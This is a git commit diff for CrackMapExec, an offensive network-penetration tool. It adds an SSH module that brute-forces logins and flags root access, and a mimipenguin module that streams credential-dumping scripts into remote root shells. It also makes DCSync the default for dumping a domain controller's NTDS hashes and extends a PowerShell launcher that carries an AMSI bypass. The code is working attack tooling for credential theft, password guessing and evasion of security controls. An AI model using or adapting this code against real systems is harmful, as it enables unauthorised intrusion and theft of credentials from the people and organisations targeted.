Takes care of issue #190 and #191, initial SSH protocol implementation

- Passing --ntds will automatically use the drsuapi method (DCSync)
- Initial implementation of the SSH protocol and the mimipenguin module
  (This is very much still not finished, lots of stuff missing)

- Added check to make sure existing config file is in the 4.x format
- Added splinter and paramiko to dep requirements
- Updated Impacket to latest commit
- HTTP protocol now also returns server version in output
main
byt3bl33d3r 2017-07-09 23:44:58 -06:00
parent e973e8c210
commit 0b936def23
17 changed files with 217 additions and 29 deletions

3
.gitmodules vendored
View File

@ -28,3 +28,6 @@
[submodule "cme/data/sessiongopher"]
path = cme/data/sessiongopher
url = https://github.com/fireeye/SessionGopher
[submodule "cme/data/mimipenguin"]
path = cme/data/mimipenguin
url = https://github.com/huntergregal/mimipenguin

View File

@ -190,7 +190,7 @@ class connection(object):
password.seek(0)
elif type(user) is not file:
if self.args.hash:
if hasattr(self.args, 'hash') and self.args.hash:
with sem:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
@ -208,10 +208,16 @@ class connection(object):
for password in self.args.password:
if type(password) is not file:
if not self.over_fail_limit(user):
if hasattr(self.args, 'domain'):
if self.plaintext_login(self.domain, user, password): return True
else:
if self.plaintext_login(user, password): return True
elif type(password) is file:
for f_pass in password:
if not self.over_fail_limit(user):
if hasattr(self.args, 'domain'):
if self.plaintext_login(self.domain, user, f_pass.strip()): return True
else:
if self.plaintext_login(user, f_pass.strip()): return True
password.seek(0)

1
cme/data/mimipenguin Submodule

@ -0,0 +1 @@
Subproject commit 0a127fa26280be1c35fcc9646a17f2d6f0114d60

View File

@ -2,6 +2,7 @@ import os
import sqlite3
import shutil
import cme
from ConfigParser import ConfigParser, NoSectionError
from cme.helpers.logger import highlight
from cme.loaders.protocol_loader import protocol_loader
from subprocess import check_output, PIPE
@ -61,6 +62,16 @@ def first_run_setup(logger):
logger.info('Copying default configuration file')
default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
shutil.copy(default_path, CME_PATH)
else:
# This is just a quick check to make sure the config file isn't the old 3.x format
try:
config = ConfigParser()
config.read(CONFIG_PATH)
current_workspace = config.get('CME', 'workspace')
except NoSectionError:
logger.info('v3.x configuration file detected, replacing with new version')
default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
shutil.copy(default_path, CME_PATH)
if not os.path.exists(CERT_PATH):
logger.info('Generating SSL certificate')

6
cme/helpers/bash.py Normal file
View File

@ -0,0 +1,6 @@
import os
import cme
def get_script(path):
with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script:
return script.read()

View File

@ -67,7 +67,7 @@ def obfs_ps_script(path_to_script):
return strippedCode
def create_ps_command(ps_command, force_ps32=False):
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
@ -133,6 +133,7 @@ else
else:
"""
if not dont_obfs:
obfs_attempts = 0
while True:
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"'
@ -144,6 +145,11 @@ else
exit(1)
obfs_attempts += 1
else:
command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command))
if len(command) > 8191:
logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
exit(1)
return command

View File

@ -0,0 +1,42 @@
from cme.helpers.bash import get_script
from sys import exit
class CMEModule:
'''
Example
Module by @yomama
'''
name = 'mimipenguin'
description = 'Dumps cleartext credentials in memory'
supported_protocols = ['ssh']
opsec_safe= True
multiple_hosts = True
def options(self, context, module_options):
'''
SCRIPT Script version to execute (choices: bash, python) (default: bash)
'''
scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'),
'BASH' : get_script('mimipenguin/mimipenguin.sh')}
self.script_choice = 'BASH'
if 'SCRIPT' in module_options:
self.script_choice = module_options['SCRIPT'].upper()
if self.script_choice not in scripts.keys():
context.log.error('SCRIPT option choices can only be PYTHON or BASH')
exit(1)
self.script = scripts[self.script_choice]
def on_admin_login(self, context, connection):
if self.script_choice == 'BASH':
stdin, stdout, stderr = connection.conn.exec_command("bash -")
elif self.script_choice == 'PYTHON':
stdin, stdout, stderr = connection.conn.exec_command("python2 -")
stdin.write("{}\n".format(self.script))
stdin.channel.shutdown_write()
context.log.success('Executed command')
for line in stdout:
context.log.highlight(line.strip())

View File

@ -4,13 +4,14 @@ from gevent.pool import Pool
from gevent.socket import gethostbyname
from urlparse import urlparse
from datetime import datetime
from sys import exit
from cme.helpers.logger import highlight
from cme.logger import CMEAdapter
from cme.connection import *
from cme.helpers.http import *
from requests import ConnectionError, ConnectTimeout, ReadTimeout
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from splinter import Browser
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
# The following disables the warning on an invalid cert and allows any SSL/TLS cipher to be used
# I'm basically guessing this is the way to specify to allow all ciphers since I can't find any docs about it, if it don't worky holla at me
@ -27,13 +28,6 @@ class http(connection):
self.transport = None
self.port = None
try:
from splinter import Browser
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
except ImportError:
print highlight('[!] HTTP protocol requires splinter and phantomjs', 'red')
exit(1)
if self.hostname.startswith('http://') or self.hostname.startswith('https://'):
port_dict = {'http': 80, 'https': 443}
self.url = self.hostname
@ -86,6 +80,7 @@ class single_connection(connection):
self.port = port
self.transport = transport
self.hostname = http.hostname
self.server_headers = None
self.conn = None
self.proto_flow()
@ -97,7 +92,9 @@ class single_connection(connection):
'hostname': self.hostname})
def print_host_info(self):
self.logger.info('{} (Title: {})'.format(self.conn.url, self.conn.title.strip()))
self.logger.info('{} (Server: {}) (Page Title: {})'.format(self.conn.url,
self.server_headers['Server'] if 'Server' in self.server_headers.keys() else None,
self.conn.title.strip() if self.conn.title else None))
def create_conn_obj(self):
user_agent = get_desktop_uagent()
@ -108,6 +105,7 @@ class single_connection(connection):
try:
r = requests.get(url, timeout=10, headers={'User-Agent': user_agent})
self.server_headers = r.headers
except ConnectTimeout, ReadTimeout:
return False
except Exception as e:

View File

@ -16,7 +16,8 @@ class database:
"ip" text,
"hostname" text,
"port" integer,
"title" text,
"server" text,
"page_title" text,
"login_url" text
)''')

View File

@ -122,7 +122,7 @@ class smb(connection):
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, type=str, help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')

74
cme/protocols/ssh.py Normal file
View File

@ -0,0 +1,74 @@
import paramiko
from cme.connection import *
from cme.helpers.logger import highlight
from cme.logger import CMEAdapter
from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException
class ssh(connection):
@staticmethod
def proto_args(parser, std_parser, module_parser):
ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser])
#ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key")
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={'protocol': 'SSH',
'host': self.host,
'port': self.args.port,
'hostname': self.hostname})
def print_host_info(self):
self.logger.info(self.remote_version)
def enum_host_info(self):
self.remote_version = self.conn._transport.remote_version
def create_conn_obj(self):
self.conn = paramiko.SSHClient()
self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
self.conn.connect(self.host, port=self.args.port)
except AuthenticationException:
return True
except SSHException:
return True
except NoValidConnectionsError:
return False
def check_if_admin(self):
stdin, stdout, stderr = self.conn.exec_command('id')
if stdout.read().find('uid=0(root)') != -1:
self.admin_privs = True
def plaintext_login(self, username, password):
try:
self.conn.connect(self.host, port=self.args.port, username=username, password=password)
self.check_if_admin()
self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'),
password.decode('utf-8'),
highlight('(Pwn3d!)') if self.admin_privs else ''))
return True
except Exception as e:
self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'),
password.decode('utf-8'),
e))
return False
def execute(self, payload=None, get_output=False):
stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
self.logger.success('Executed command')
for line in stdout:
self.logger.highlight(line.decode('utf-8').strip())
return stdout

View File

View File

@ -0,0 +1,21 @@
class database:
def __init__(self, conn):
self.conn = conn
@staticmethod
def db_schema(db_conn):
db_conn.execute('''CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"username" text,
"password" text,
"pkey" text,
)''')
db_conn.execute('''CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"port" integer,
"server_banner" text
)''')

View File

@ -0,0 +1,15 @@
import cmd
from cme.protocols.ssh.database import database
from cme.cmedb import UserExitedProto
class navigator(cmd.Cmd):
def __init__(self, main_menu):
cmd.Cmd.__init__(self)
self.main_menu = main_menu
self.config = main_menu.config
self.db = database(main_menu.conn)
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'ssh')
def do_back(self, line):
raise UserExitedProto

@ -1 +1 @@
Subproject commit 74058cc0f03f4cfdd165da5bdf1fc6f8f04daaee
Subproject commit a1523f32ee852b4925bb814e29d1d2a56cc9e438

View File

@ -1,10 +1,12 @@
pycrypto>=2.6
pyasn1>=0.1.8
gevent>=1.2.0
requests>=2.3.0
requests>=2.9.1
bs4
netaddr
pyOpenSSL
termcolor
msgpack-python
pylnk
splinter
paramiko

View File

@ -21,13 +21,15 @@ setup(name='crackmapexec',
'pycrypto>=2.6',
'pyasn1>=0.1.8',
'gevent>=1.2.0',
'requests>=2.3.0',
'requests>=2.9.1',
'bs4',
'netaddr',
'pyOpenSSL',
'termcolor',
'msgpack-python',
'pylnk'
'pylnk',
'splinter',
'paramiko',
],
entry_points = {
'console_scripts': ['crackmapexec=cme.crackmapexec:main', 'cme=cme.crackmapexec:main', 'cmedb=cme.cmedb:main'],